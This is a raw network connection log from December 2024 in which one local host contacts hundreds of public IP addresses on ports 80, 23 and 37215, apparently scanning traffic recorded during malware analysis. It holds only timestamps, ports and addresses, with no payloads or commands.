Dec 3, 2024 22:02:03.906047106 CET	39296	80	192.168.2.14	159.133.205.21
Dec 3, 2024 22:02:03.906048059 CET	39296	80	192.168.2.14	75.27.142.75
Dec 3, 2024 22:02:03.906050920 CET	39296	80	192.168.2.14	175.39.85.49
Dec 3, 2024 22:02:03.906054020 CET	39296	80	192.168.2.14	57.101.121.10
Dec 3, 2024 22:02:03.906056881 CET	39296	80	192.168.2.14	150.138.236.127
Dec 3, 2024 22:02:03.906063080 CET	39296	80	192.168.2.14	143.244.102.194
Dec 3, 2024 22:02:03.906063080 CET	39296	80	192.168.2.14	198.179.182.129
Dec 3, 2024 22:02:03.906075954 CET	39296	80	192.168.2.14	207.151.186.152
Dec 3, 2024 22:02:03.906079054 CET	39296	80	192.168.2.14	166.92.145.159
Dec 3, 2024 22:02:03.906088114 CET	39296	80	192.168.2.14	162.165.244.208
Dec 3, 2024 22:02:03.906100988 CET	39296	80	192.168.2.14	144.50.27.84
Dec 3, 2024 22:02:03.906116962 CET	39296	80	192.168.2.14	218.239.226.127
Dec 3, 2024 22:02:03.906119108 CET	39296	80	192.168.2.14	130.110.71.140
Dec 3, 2024 22:02:03.906119108 CET	39296	80	192.168.2.14	218.249.118.65
Dec 3, 2024 22:02:03.906119108 CET	39296	80	192.168.2.14	195.123.0.221
Dec 3, 2024 22:02:03.906124115 CET	39296	80	192.168.2.14	125.63.172.144
Dec 3, 2024 22:02:03.906132936 CET	39296	80	192.168.2.14	147.151.184.5
Dec 3, 2024 22:02:03.906135082 CET	39296	80	192.168.2.14	95.119.20.127
Dec 3, 2024 22:02:03.906138897 CET	39296	80	192.168.2.14	41.219.157.135
Dec 3, 2024 22:02:03.906147957 CET	39296	80	192.168.2.14	165.240.112.92
Dec 3, 2024 22:02:03.906158924 CET	39296	80	192.168.2.14	169.214.96.153
Dec 3, 2024 22:02:03.906158924 CET	39296	80	192.168.2.14	147.156.141.112
Dec 3, 2024 22:02:03.906166077 CET	39296	80	192.168.2.14	116.190.234.119
Dec 3, 2024 22:02:03.906171083 CET	39296	80	192.168.2.14	203.54.174.221
Dec 3, 2024 22:02:03.906173944 CET	39296	80	192.168.2.14	71.158.152.16
Dec 3, 2024 22:02:03.906184912 CET	39296	80	192.168.2.14	133.80.247.167
Dec 3, 2024 22:02:03.906193972 CET	39296	80	192.168.2.14	132.150.63.93
Dec 3, 2024 22:02:03.906208038 CET	39296	80	192.168.2.14	27.129.58.82
Dec 3, 2024 22:02:03.906213045 CET	39296	80	192.168.2.14	18.53.239.155
Dec 3, 2024 22:02:03.906217098 CET	39296	80	192.168.2.14	143.80.98.217
Dec 3, 2024 22:02:03.906217098 CET	39296	80	192.168.2.14	50.174.196.3
Dec 3, 2024 22:02:03.906219006 CET	39296	80	192.168.2.14	149.13.242.77
Dec 3, 2024 22:02:03.906219006 CET	39296	80	192.168.2.14	99.111.28.15
Dec 3, 2024 22:02:03.906240940 CET	39296	80	192.168.2.14	88.209.252.223
Dec 3, 2024 22:02:03.906240940 CET	39296	80	192.168.2.14	48.148.213.224
Dec 3, 2024 22:02:03.906249046 CET	39296	80	192.168.2.14	80.94.192.101
Dec 3, 2024 22:02:03.906249046 CET	39296	80	192.168.2.14	217.29.78.122
Dec 3, 2024 22:02:03.906255960 CET	39296	80	192.168.2.14	213.28.160.56
Dec 3, 2024 22:02:03.906270981 CET	39296	80	192.168.2.14	54.175.68.240
Dec 3, 2024 22:02:03.906271935 CET	39296	80	192.168.2.14	160.34.134.127
Dec 3, 2024 22:02:03.906275988 CET	39296	80	192.168.2.14	57.153.66.233
Dec 3, 2024 22:02:03.906276941 CET	39296	80	192.168.2.14	154.41.39.38
Dec 3, 2024 22:02:03.906291962 CET	39296	80	192.168.2.14	168.62.220.125
Dec 3, 2024 22:02:03.906296015 CET	39296	80	192.168.2.14	48.238.137.222
Dec 3, 2024 22:02:03.906305075 CET	39296	80	192.168.2.14	217.65.183.101
Dec 3, 2024 22:02:03.906310081 CET	39296	80	192.168.2.14	109.133.216.199
Dec 3, 2024 22:02:03.906315088 CET	39296	80	192.168.2.14	170.92.81.62
Dec 3, 2024 22:02:03.906327963 CET	39296	80	192.168.2.14	99.255.202.43
Dec 3, 2024 22:02:03.906333923 CET	39296	80	192.168.2.14	31.172.83.103
Dec 3, 2024 22:02:03.906337023 CET	39296	80	192.168.2.14	156.79.197.96
Dec 3, 2024 22:02:03.906348944 CET	39296	80	192.168.2.14	107.76.30.87
Dec 3, 2024 22:02:03.906354904 CET	39296	80	192.168.2.14	202.26.222.81
Dec 3, 2024 22:02:03.906366110 CET	39296	80	192.168.2.14	141.107.131.45
Dec 3, 2024 22:02:03.906366110 CET	39296	80	192.168.2.14	170.254.48.135
Dec 3, 2024 22:02:03.906374931 CET	39296	80	192.168.2.14	66.249.212.118
Dec 3, 2024 22:02:03.906385899 CET	39296	80	192.168.2.14	185.161.164.157
Dec 3, 2024 22:02:03.906394005 CET	39296	80	192.168.2.14	147.101.145.229
Dec 3, 2024 22:02:03.906394005 CET	39296	80	192.168.2.14	12.161.129.14
Dec 3, 2024 22:02:03.906404972 CET	39296	80	192.168.2.14	80.197.216.74
Dec 3, 2024 22:02:03.906410933 CET	39296	80	192.168.2.14	13.32.143.85
Dec 3, 2024 22:02:03.906413078 CET	39296	80	192.168.2.14	46.174.81.46
Dec 3, 2024 22:02:03.906421900 CET	39296	80	192.168.2.14	164.17.154.127
Dec 3, 2024 22:02:03.906425953 CET	39296	80	192.168.2.14	132.77.135.6
Dec 3, 2024 22:02:03.906425953 CET	39296	80	192.168.2.14	211.73.127.52
Dec 3, 2024 22:02:03.906443119 CET	39296	80	192.168.2.14	78.89.148.40
Dec 3, 2024 22:02:03.906445026 CET	39296	80	192.168.2.14	206.227.191.102
Dec 3, 2024 22:02:03.906451941 CET	39296	80	192.168.2.14	87.124.114.1
Dec 3, 2024 22:02:03.906464100 CET	39296	80	192.168.2.14	59.157.82.40
Dec 3, 2024 22:02:03.906475067 CET	39296	80	192.168.2.14	185.204.147.39
Dec 3, 2024 22:02:03.906476974 CET	39296	80	192.168.2.14	211.126.101.81
Dec 3, 2024 22:02:03.906486034 CET	39296	80	192.168.2.14	131.32.246.209
Dec 3, 2024 22:02:03.906491041 CET	39296	80	192.168.2.14	12.85.108.82
Dec 3, 2024 22:02:03.906498909 CET	39296	80	192.168.2.14	213.92.24.148
Dec 3, 2024 22:02:03.906503916 CET	39296	80	192.168.2.14	157.108.65.165
Dec 3, 2024 22:02:03.906512976 CET	39296	80	192.168.2.14	62.207.132.83
Dec 3, 2024 22:02:03.906519890 CET	39296	80	192.168.2.14	216.190.49.56
Dec 3, 2024 22:02:03.906529903 CET	39296	80	192.168.2.14	67.50.65.75
Dec 3, 2024 22:02:03.906531096 CET	39296	80	192.168.2.14	20.187.251.196
Dec 3, 2024 22:02:03.913393021 CET	45584	80	192.168.2.14	100.186.253.107
Dec 3, 2024 22:02:03.913393021 CET	57094	37215	192.168.2.14	41.10.137.114
Dec 3, 2024 22:02:03.913393021 CET	46224	37215	192.168.2.14	41.246.60.179
Dec 3, 2024 22:02:03.913395882 CET	42738	37215	192.168.2.14	197.49.101.41
Dec 3, 2024 22:02:03.913405895 CET	49772	37215	192.168.2.14	156.97.134.32
Dec 3, 2024 22:02:03.913405895 CET	52498	37215	192.168.2.14	156.218.161.155
Dec 3, 2024 22:02:03.913408041 CET	51298	23	192.168.2.14	13.124.229.68
Dec 3, 2024 22:02:03.913408995 CET	34478	23	192.168.2.14	168.119.91.255
Dec 3, 2024 22:02:03.913408995 CET	53942	37215	192.168.2.14	41.233.227.101
Dec 3, 2024 22:02:03.913419008 CET	34158	37215	192.168.2.14	41.231.216.149
Dec 3, 2024 22:02:03.913420916 CET	45940	37215	192.168.2.14	156.131.137.8
Dec 3, 2024 22:02:03.913423061 CET	38240	23	192.168.2.14	115.166.244.237
Dec 3, 2024 22:02:03.913424015 CET	55550	37215	192.168.2.14	197.227.173.107
Dec 3, 2024 22:02:03.913423061 CET	57530	23	192.168.2.14	94.116.239.39
Dec 3, 2024 22:02:03.913424015 CET	43248	37215	192.168.2.14	197.86.98.63
Dec 3, 2024 22:02:03.913423061 CET	53370	23	192.168.2.14	130.124.140.220
Dec 3, 2024 22:02:03.913424015 CET	43002	37215	192.168.2.14	156.183.203.242
Dec 3, 2024 22:02:03.913431883 CET	54814	37215	192.168.2.14	197.198.132.132
Dec 3, 2024 22:02:03.913433075 CET	58922	23	192.168.2.14	97.151.143.245
Dec 3, 2024 22:02:03.913433075 CET	49780	37215	192.168.2.14	156.55.125.14
Dec 3, 2024 22:02:03.913434029 CET	56886	37215	192.168.2.14	156.204.54.116
Dec 3, 2024 22:02:03.913434982 CET	50270	23	192.168.2.14	154.15.98.17
Dec 3, 2024 22:02:03.913439989 CET	44306	37215	192.168.2.14	197.152.168.4
Dec 3, 2024 22:02:03.913439989 CET	35364	37215	192.168.2.14	156.161.126.173
Dec 3, 2024 22:02:03.913445950 CET	48542	37215	192.168.2.14	197.217.251.3
Dec 3, 2024 22:02:03.913445950 CET	56232	23	192.168.2.14	143.219.149.54
Dec 3, 2024 22:02:03.913446903 CET	32850	23	192.168.2.14	128.161.30.114
Dec 3, 2024 22:02:03.913439989 CET	45410	23	192.168.2.14	119.199.83.42
Dec 3, 2024 22:02:03.913448095 CET	33806	23	192.168.2.14	157.72.31.213
Dec 3, 2024 22:02:03.913446903 CET	42856	23	192.168.2.14	92.38.136.104
Dec 3, 2024 22:02:03.913450003 CET	47010	23	192.168.2.14	148.136.178.84
Dec 3, 2024 22:02:03.913450956 CET	34148	23	192.168.2.14	212.36.35.12
Dec 3, 2024 22:02:03.913450956 CET	60746	37215	192.168.2.14	41.163.239.113
Dec 3, 2024 22:02:03.913456917 CET	50566	23	192.168.2.14	89.190.150.69
Dec 3, 2024 22:02:03.913459063 CET	59866	37215	192.168.2.14	41.153.253.195
Dec 3, 2024 22:02:03.913459063 CET	52390	23	192.168.2.14	221.251.241.251
Dec 3, 2024 22:02:03.913460970 CET	54100	23	192.168.2.14	5.116.153.208
Dec 3, 2024 22:02:03.913460970 CET	55894	37215	192.168.2.14	41.154.31.154
Dec 3, 2024 22:02:03.913460970 CET	38938	23	192.168.2.14	61.102.46.152
Dec 3, 2024 22:02:03.913467884 CET	37060	23	192.168.2.14	193.49.183.17
Dec 3, 2024 22:02:03.913467884 CET	58672	23	192.168.2.14	210.74.210.19
Dec 3, 2024 22:02:03.913470030 CET	47150	37215	192.168.2.14	197.100.58.133
Dec 3, 2024 22:02:03.913471937 CET	36046	23	192.168.2.14	195.100.239.208
Dec 3, 2024 22:02:03.913472891 CET	58744	37215	192.168.2.14	197.71.140.80
Dec 3, 2024 22:02:03.913471937 CET	52764	37215	192.168.2.14	156.8.122.245
Dec 3, 2024 22:02:03.913472891 CET	60850	23	192.168.2.14	60.180.252.75
Dec 3, 2024 22:02:03.913471937 CET	41926	23	192.168.2.14	45.195.72.70
Dec 3, 2024 22:02:03.913475990 CET	38806	37215	192.168.2.14	156.72.185.93
Dec 3, 2024 22:02:03.913472891 CET	47186	23	192.168.2.14	14.70.142.212
Dec 3, 2024 22:02:03.913487911 CET	57604	23	192.168.2.14	84.105.253.51
Dec 3, 2024 22:02:03.913487911 CET	47100	23	192.168.2.14	158.203.26.242
Dec 3, 2024 22:02:03.913487911 CET	54916	23	192.168.2.14	14.136.211.123
Dec 3, 2024 22:02:03.913487911 CET	33558	23	192.168.2.14	219.246.174.21
Dec 3, 2024 22:02:03.913487911 CET	40862	23	192.168.2.14	97.247.114.67
Dec 3, 2024 22:02:03.913491011 CET	41246	23	192.168.2.14	40.120.172.73
Dec 3, 2024 22:02:03.913491964 CET	33422	37215	192.168.2.14	197.231.16.59
Dec 3, 2024 22:02:03.913491011 CET	55308	23	192.168.2.14	89.218.163.123
Dec 3, 2024 22:02:03.913491964 CET	39022	23	192.168.2.14	66.214.221.169
Dec 3, 2024 22:02:03.913491011 CET	42788	23	192.168.2.14	73.76.156.168
Dec 3, 2024 22:02:03.913491964 CET	47416	23	192.168.2.14	59.90.193.67
Dec 3, 2024 22:02:03.913491964 CET	42022	23	192.168.2.14	195.76.82.241
Dec 3, 2024 22:02:03.913491964 CET	56540	23	192.168.2.14	175.145.253.130
Dec 3, 2024 22:02:03.913496971 CET	38556	37215	192.168.2.14	156.180.52.49
Dec 3, 2024 22:02:03.913496971 CET	40134	23	192.168.2.14	135.138.34.162
Dec 3, 2024 22:02:03.913502932 CET	51250	23	192.168.2.14	131.193.182.54
Dec 3, 2024 22:02:03.913506031 CET	42650	23	192.168.2.14	115.38.120.79
Dec 3, 2024 22:02:03.913506031 CET	45832	80	192.168.2.14	60.237.166.35
Dec 3, 2024 22:02:03.913511038 CET	34748	23	192.168.2.14	154.57.243.108
Dec 3, 2024 22:02:03.913511038 CET	59134	23	192.168.2.14	184.7.115.224
Dec 3, 2024 22:02:03.913512945 CET	53388	80	192.168.2.14	182.197.9.130
Dec 3, 2024 22:02:03.913513899 CET	48982	23	192.168.2.14	69.247.55.162
Dec 3, 2024 22:02:03.913511038 CET	56668	23	192.168.2.14	160.135.216.227
Dec 3, 2024 22:02:03.913513899 CET	46494	23	192.168.2.14	72.252.221.216
Dec 3, 2024 22:02:03.913513899 CET	55992	37215	192.168.2.14	197.154.225.139
Dec 3, 2024 22:02:03.913513899 CET	37314	23	192.168.2.14	177.230.239.93
Dec 3, 2024 22:02:03.913513899 CET	37760	23	192.168.2.14	65.78.157.20
Dec 3, 2024 22:02:03.913513899 CET	58936	23	192.168.2.14	196.73.121.22
Dec 3, 2024 22:02:03.945415020 CET	36932	37215	192.168.2.14	197.17.118.166
Dec 3, 2024 22:02:03.945415020 CET	60416	37215	192.168.2.14	156.117.49.107
Dec 3, 2024 22:02:03.945413113 CET	41480	37215	192.168.2.14	41.250.53.110
Dec 3, 2024 22:02:03.945415020 CET	55910	37215	192.168.2.14	197.53.171.17
Dec 3, 2024 22:02:03.945413113 CET	43024	37215	192.168.2.14	41.179.104.30
Dec 3, 2024 22:02:03.945419073 CET	45242	37215	192.168.2.14	197.240.251.151
Dec 3, 2024 22:02:03.945413113 CET	43406	37215	192.168.2.14	156.176.19.33
Dec 3, 2024 22:02:03.945425987 CET	52106	37215	192.168.2.14	197.131.102.163
Dec 3, 2024 22:02:03.945430994 CET	38236	37215	192.168.2.14	197.188.21.100
Dec 3, 2024 22:02:03.945430994 CET	47430	37215	192.168.2.14	41.41.138.225
Dec 3, 2024 22:02:03.945434093 CET	60118	37215	192.168.2.14	41.159.149.11
Dec 3, 2024 22:02:03.945434093 CET	49074	37215	192.168.2.14	41.242.231.240
Dec 3, 2024 22:02:03.945437908 CET	45228	37215	192.168.2.14	41.66.212.146
Dec 3, 2024 22:02:03.945437908 CET	35768	37215	192.168.2.14	41.240.186.144
Dec 3, 2024 22:02:03.945442915 CET	46914	37215	192.168.2.14	197.174.91.252
Dec 3, 2024 22:02:03.945444107 CET	46448	37215	192.168.2.14	156.7.166.118
Dec 3, 2024 22:02:03.945444107 CET	37468	37215	192.168.2.14	197.198.71.1
Dec 3, 2024 22:02:03.945444107 CET	36356	37215	192.168.2.14	41.72.83.125
Dec 3, 2024 22:02:03.945446014 CET	52120	37215	192.168.2.14	197.195.158.99
Dec 3, 2024 22:02:03.945455074 CET	48674	37215	192.168.2.14	41.92.97.54
Dec 3, 2024 22:02:03.945456982 CET	57636	37215	192.168.2.14	41.3.168.87
Dec 3, 2024 22:02:03.945456982 CET	49020	37215	192.168.2.14	156.48.132.91
Dec 3, 2024 22:02:03.945456982 CET	51700	37215	192.168.2.14	41.118.194.99
Dec 3, 2024 22:02:03.945457935 CET	48250	37215	192.168.2.14	197.37.224.195
Dec 3, 2024 22:02:03.945457935 CET	44634	37215	192.168.2.14	197.97.53.20
Dec 3, 2024 22:02:03.945460081 CET	50396	37215	192.168.2.14	197.197.86.116
Dec 3, 2024 22:02:03.945460081 CET	37010	37215	192.168.2.14	156.117.91.14
Dec 3, 2024 22:02:03.945460081 CET	49882	37215	192.168.2.14	197.119.230.197
Dec 3, 2024 22:02:03.945461035 CET	34028	37215	192.168.2.14	197.19.145.209
Dec 3, 2024 22:02:03.945461988 CET	43360	37215	192.168.2.14	156.64.242.57
Dec 3, 2024 22:02:03.945466995 CET	38414	37215	192.168.2.14	41.68.117.52
Dec 3, 2024 22:02:03.945478916 CET	46980	23	192.168.2.14	8.226.44.4
Dec 3, 2024 22:02:03.945480108 CET	36318	23	192.168.2.14	169.185.210.240
Dec 3, 2024 22:02:03.945485115 CET	39996	23	192.168.2.14	122.215.8.16
Dec 3, 2024 22:02:03.945486069 CET	34446	23	192.168.2.14	197.146.173.147
Dec 3, 2024 22:02:03.945488930 CET	36132	23	192.168.2.14	63.159.212.211
Dec 3, 2024 22:02:03.945488930 CET	50242	23	192.168.2.14	149.203.109.186
Dec 3, 2024 22:02:03.945488930 CET	37286	23	192.168.2.14	207.20.208.130
Dec 3, 2024 22:02:03.945498943 CET	40806	23	192.168.2.14	198.152.174.23
Dec 3, 2024 22:02:03.945498943 CET	55628	23	192.168.2.14	66.48.92.123
Dec 3, 2024 22:02:03.945504904 CET	51270	23	192.168.2.14	200.214.25.121
Dec 3, 2024 22:02:03.945507050 CET	47336	23	192.168.2.14	50.100.12.31
Dec 3, 2024 22:02:03.945509911 CET	58008	23	192.168.2.14	222.73.93.37
Dec 3, 2024 22:02:03.945523977 CET	51904	23	192.168.2.14	123.104.175.31
Dec 3, 2024 22:02:03.945527077 CET	43912	23	192.168.2.14	157.54.143.191
Dec 3, 2024 22:02:03.945529938 CET	57258	23	192.168.2.14	91.200.13.185
Dec 3, 2024 22:02:03.945530891 CET	58534	23	192.168.2.14	119.162.54.61
Dec 3, 2024 22:02:03.945534945 CET	54988	23	192.168.2.14	27.148.244.238
Dec 3, 2024 22:02:03.945534945 CET	58280	23	192.168.2.14	163.183.101.176
Dec 3, 2024 22:02:03.945538044 CET	49322	37215	192.168.2.14	41.114.48.9
Dec 3, 2024 22:02:03.945538044 CET	58908	23	192.168.2.14	192.115.242.217
Dec 3, 2024 22:02:03.945552111 CET	35834	23	192.168.2.14	122.20.162.86
Dec 3, 2024 22:02:03.945552111 CET	42842	23	192.168.2.14	198.181.223.122
Dec 3, 2024 22:02:03.945557117 CET	43750	23	192.168.2.14	136.255.16.98
Dec 3, 2024 22:02:03.945559978 CET	48774	23	192.168.2.14	219.94.155.198
Dec 3, 2024 22:02:03.945573092 CET	39770	23	192.168.2.14	198.17.196.53
Dec 3, 2024 22:02:03.945573092 CET	47690	23	192.168.2.14	143.25.199.21
Dec 3, 2024 22:02:03.977400064 CET	57956	37215	192.168.2.14	197.231.150.19
Dec 3, 2024 22:02:03.977400064 CET	56346	37215	192.168.2.14	197.105.204.171
Dec 3, 2024 22:02:03.977404118 CET	54160	37215	192.168.2.14	156.3.55.17
Dec 3, 2024 22:02:03.977413893 CET	60676	37215	192.168.2.14	197.49.43.51
Dec 3, 2024 22:02:03.977416992 CET	42150	37215	192.168.2.14	41.204.219.73
Dec 3, 2024 22:02:03.977416992 CET	54474	37215	192.168.2.14	197.248.237.12
Dec 3, 2024 22:02:03.977422953 CET	49360	37215	192.168.2.14	41.93.34.146
Dec 3, 2024 22:02:03.977422953 CET	51332	37215	192.168.2.14	156.165.110.157
Dec 3, 2024 22:02:03.977422953 CET	33698	37215	192.168.2.14	156.16.80.231
Dec 3, 2024 22:02:03.977427006 CET	42606	37215	192.168.2.14	41.94.175.19
Dec 3, 2024 22:02:03.977433920 CET	39062	37215	192.168.2.14	156.221.169.157
Dec 3, 2024 22:02:03.977433920 CET	52804	37215	192.168.2.14	197.185.181.238
Dec 3, 2024 22:02:03.977447987 CET	51272	37215	192.168.2.14	156.189.89.236
Dec 3, 2024 22:02:03.977447987 CET	55158	37215	192.168.2.14	41.115.186.149
Dec 3, 2024 22:02:03.977447987 CET	45042	37215	192.168.2.14	41.224.48.182
Dec 3, 2024 22:02:03.977451086 CET	55376	37215	192.168.2.14	41.108.8.89
Dec 3, 2024 22:02:03.977451086 CET	36120	37215	192.168.2.14	41.131.73.124
Dec 3, 2024 22:02:03.977452993 CET	50280	37215	192.168.2.14	41.148.211.218
Dec 3, 2024 22:02:03.977452040 CET	43238	37215	192.168.2.14	41.64.226.76
Dec 3, 2024 22:02:03.977452040 CET	37170	37215	192.168.2.14	197.53.94.99
Dec 3, 2024 22:02:03.977467060 CET	39142	37215	192.168.2.14	41.154.223.212
Dec 3, 2024 22:02:03.977468967 CET	42128	37215	192.168.2.14	41.134.26.107
Dec 3, 2024 22:02:03.977504969 CET	34466	23	192.168.2.14	57.173.44.141
Dec 3, 2024 22:02:03.977504969 CET	52166	23	192.168.2.14	78.49.218.0
Dec 3, 2024 22:02:03.977508068 CET	44302	23	192.168.2.14	47.107.208.217
Dec 3, 2024 22:02:03.977514029 CET	47990	23	192.168.2.14	83.126.32.218
Dec 3, 2024 22:02:03.977514982 CET	56762	23	192.168.2.14	46.236.147.29
Dec 3, 2024 22:02:03.977516890 CET	38812	23	192.168.2.14	193.104.160.9
Dec 3, 2024 22:02:03.977516890 CET	57486	23	192.168.2.14	48.34.198.188
Dec 3, 2024 22:02:03.977520943 CET	36934	23	192.168.2.14	106.94.213.34
Dec 3, 2024 22:02:03.977519989 CET	33156	23	192.168.2.14	94.182.226.117
Dec 3, 2024 22:02:03.977535963 CET	45766	23	192.168.2.14	135.5.244.226
Dec 3, 2024 22:02:04.026570082 CET	80	39296	13.161.131.22	192.168.2.14
Dec 3, 2024 22:02:04.026597977 CET	80	39296	197.136.135.192	192.168.2.14
Dec 3, 2024 22:02:04.026688099 CET	80	39296	149.250.7.242	192.168.2.14
Dec 3, 2024 22:02:04.026707888 CET	80	39296	86.124.165.253	192.168.2.14
Dec 3, 2024 22:02:04.026736021 CET	80	39296	68.105.40.66	192.168.2.14
Dec 3, 2024 22:02:04.026777983 CET	80	39296	220.43.80.1	192.168.2.14
Dec 3, 2024 22:02:04.026787996 CET	80	39296	20.35.75.252	192.168.2.14
Dec 3, 2024 22:02:04.026789904 CET	39296	80	192.168.2.14	197.136.135.192
Dec 3, 2024 22:02:04.026808977 CET	39296	80	192.168.2.14	220.43.80.1
Dec 3, 2024 22:02:04.026825905 CET	80	39296	186.103.200.154	192.168.2.14
Dec 3, 2024 22:02:04.026838064 CET	39296	80	192.168.2.14	149.250.7.242
Dec 3, 2024 22:02:04.026839972 CET	39296	80	192.168.2.14	13.161.131.22
Dec 3, 2024 22:02:04.026854038 CET	39296	80	192.168.2.14	86.124.165.253
Dec 3, 2024 22:02:04.026858091 CET	39296	80	192.168.2.14	20.35.75.252
Dec 3, 2024 22:02:04.026860952 CET	39296	80	192.168.2.14	186.103.200.154
Dec 3, 2024 22:02:04.026860952 CET	39296	80	192.168.2.14	68.105.40.66
Dec 3, 2024 22:02:04.026873112 CET	80	39296	205.253.138.238	192.168.2.14
Dec 3, 2024 22:02:04.026926041 CET	39296	80	192.168.2.14	205.253.138.238
Dec 3, 2024 22:02:04.026943922 CET	80	39296	90.146.94.112	192.168.2.14
Dec 3, 2024 22:02:04.026946068 CET	80	39296	31.154.194.45	192.168.2.14
Dec 3, 2024 22:02:04.026949883 CET	80	39296	12.155.148.111	192.168.2.14
Dec 3, 2024 22:02:04.026952982 CET	80	39296	180.111.197.220	192.168.2.14
Dec 3, 2024 22:02:04.026990891 CET	39296	80	192.168.2.14	90.146.94.112
Dec 3, 2024 22:02:04.026998997 CET	39296	80	192.168.2.14	12.155.148.111
Dec 3, 2024 22:02:04.026999950 CET	39296	80	192.168.2.14	180.111.197.220
Dec 3, 2024 22:02:04.027007103 CET	39296	80	192.168.2.14	31.154.194.45
Dec 3, 2024 22:02:04.027023077 CET	80	39296	49.180.199.91	192.168.2.14
Dec 3, 2024 22:02:04.027055979 CET	80	39296	194.3.119.244	192.168.2.14
Dec 3, 2024 22:02:04.027061939 CET	39296	80	192.168.2.14	49.180.199.91
Dec 3, 2024 22:02:04.027101994 CET	39296	80	192.168.2.14	194.3.119.244
Dec 3, 2024 22:02:04.027120113 CET	80	39296	106.191.70.70	192.168.2.14
Dec 3, 2024 22:02:04.027134895 CET	80	39296	84.18.193.185	192.168.2.14
Dec 3, 2024 22:02:04.027149916 CET	80	39296	129.125.175.170	192.168.2.14
Dec 3, 2024 22:02:04.027165890 CET	39296	80	192.168.2.14	106.191.70.70
Dec 3, 2024 22:02:04.027199030 CET	39296	80	192.168.2.14	84.18.193.185
Dec 3, 2024 22:02:04.027199030 CET	39296	80	192.168.2.14	129.125.175.170
Dec 3, 2024 22:02:04.027209044 CET	80	39296	45.28.33.123	192.168.2.14
Dec 3, 2024 22:02:04.027220964 CET	80	39296	218.163.6.206	192.168.2.14
Dec 3, 2024 22:02:04.027229071 CET	80	39296	164.132.95.172	192.168.2.14
Dec 3, 2024 22:02:04.027245998 CET	39296	80	192.168.2.14	45.28.33.123
Dec 3, 2024 22:02:04.027259111 CET	39296	80	192.168.2.14	218.163.6.206
Dec 3, 2024 22:02:04.027268887 CET	39296	80	192.168.2.14	164.132.95.172
Dec 3, 2024 22:02:04.027319908 CET	80	39296	36.241.29.66	192.168.2.14
Dec 3, 2024 22:02:04.027335882 CET	80	39296	72.243.203.46	192.168.2.14
Dec 3, 2024 22:02:04.027367115 CET	39296	80	192.168.2.14	36.241.29.66
Dec 3, 2024 22:02:04.027368069 CET	39296	80	192.168.2.14	72.243.203.46
Dec 3, 2024 22:02:04.027395010 CET	80	39296	62.250.5.2	192.168.2.14
Dec 3, 2024 22:02:04.027410984 CET	80	39296	223.56.226.226	192.168.2.14
Dec 3, 2024 22:02:04.027430058 CET	39296	80	192.168.2.14	62.250.5.2
Dec 3, 2024 22:02:04.027435064 CET	80	39296	8.73.108.228	192.168.2.14
Dec 3, 2024 22:02:04.027441025 CET	39296	80	192.168.2.14	223.56.226.226
Dec 3, 2024 22:02:04.027461052 CET	80	39296	167.62.82.131	192.168.2.14
Dec 3, 2024 22:02:04.027468920 CET	39296	80	192.168.2.14	8.73.108.228
Dec 3, 2024 22:02:04.027472019 CET	80	39296	89.98.95.53	192.168.2.14
Dec 3, 2024 22:02:04.027483940 CET	80	39296	212.188.14.62	192.168.2.14
Dec 3, 2024 22:02:04.027502060 CET	39296	80	192.168.2.14	167.62.82.131
Dec 3, 2024 22:02:04.027503014 CET	39296	80	192.168.2.14	212.188.14.62
Dec 3, 2024 22:02:04.027503014 CET	39296	80	192.168.2.14	89.98.95.53
Dec 3, 2024 22:02:04.027535915 CET	80	39296	195.185.183.91	192.168.2.14
Dec 3, 2024 22:02:04.027548075 CET	80	39296	207.50.163.240	192.168.2.14
Dec 3, 2024 22:02:04.027575970 CET	39296	80	192.168.2.14	207.50.163.240
Dec 3, 2024 22:02:04.027590990 CET	39296	80	192.168.2.14	195.185.183.91
Dec 3, 2024 22:02:04.027592897 CET	80	39296	48.32.166.226	192.168.2.14
Dec 3, 2024 22:02:04.027620077 CET	39296	80	192.168.2.14	48.32.166.226
Dec 3, 2024 22:02:04.027687073 CET	80	39296	203.231.182.115	192.168.2.14
Dec 3, 2024 22:02:04.027720928 CET	39296	80	192.168.2.14	203.231.182.115
Dec 3, 2024 22:02:04.027745962 CET	80	39296	167.218.38.29	192.168.2.14
Dec 3, 2024 22:02:04.027756929 CET	80	39296	157.42.76.182	192.168.2.14
Dec 3, 2024 22:02:04.027786970 CET	80	39296	149.204.115.19	192.168.2.14
Dec 3, 2024 22:02:04.027791023 CET	39296	80	192.168.2.14	167.218.38.29
Dec 3, 2024 22:02:04.027795076 CET	39296	80	192.168.2.14	157.42.76.182
Dec 3, 2024 22:02:04.027822018 CET	39296	80	192.168.2.14	149.204.115.19
Dec 3, 2024 22:02:04.027832985 CET	80	39296	160.21.32.85	192.168.2.14
Dec 3, 2024 22:02:04.027873993 CET	39296	80	192.168.2.14	160.21.32.85
Dec 3, 2024 22:02:04.028892040 CET	80	39296	133.133.165.240	192.168.2.14
Dec 3, 2024 22:02:04.028917074 CET	80	39296	120.27.40.11	192.168.2.14
Dec 3, 2024 22:02:04.028933048 CET	80	39296	223.131.159.194	192.168.2.14
Dec 3, 2024 22:02:04.028940916 CET	39296	80	192.168.2.14	133.133.165.240
Dec 3, 2024 22:02:04.028964043 CET	39296	80	192.168.2.14	120.27.40.11
Dec 3, 2024 22:02:04.028981924 CET	80	39296	166.74.103.249	192.168.2.14
Dec 3, 2024 22:02:04.028990984 CET	39296	80	192.168.2.14	223.131.159.194
Dec 3, 2024 22:02:04.028992891 CET	80	39296	41.3.202.197	192.168.2.14
Dec 3, 2024 22:02:04.029026031 CET	39296	80	192.168.2.14	166.74.103.249
Dec 3, 2024 22:02:04.029030085 CET	39296	80	192.168.2.14	41.3.202.197
Dec 3, 2024 22:02:04.029207945 CET	80	39296	150.169.126.146	192.168.2.14
Dec 3, 2024 22:02:04.029220104 CET	80	39296	69.234.220.201	192.168.2.14
Dec 3, 2024 22:02:04.029231071 CET	80	39296	66.135.164.211	192.168.2.14
Dec 3, 2024 22:02:04.029247046 CET	80	39296	83.66.176.9	192.168.2.14
Dec 3, 2024 22:02:04.029247999 CET	39296	80	192.168.2.14	150.169.126.146
Dec 3, 2024 22:02:04.029248953 CET	39296	80	192.168.2.14	69.234.220.201
Dec 3, 2024 22:02:04.029258013 CET	80	39296	199.144.196.39	192.168.2.14
Dec 3, 2024 22:02:04.029264927 CET	39296	80	192.168.2.14	66.135.164.211
Dec 3, 2024 22:02:04.029268980 CET	80	39296	44.122.74.244	192.168.2.14
Dec 3, 2024 22:02:04.029279947 CET	80	39296	2.66.91.134	192.168.2.14
Dec 3, 2024 22:02:04.029285908 CET	39296	80	192.168.2.14	83.66.176.9
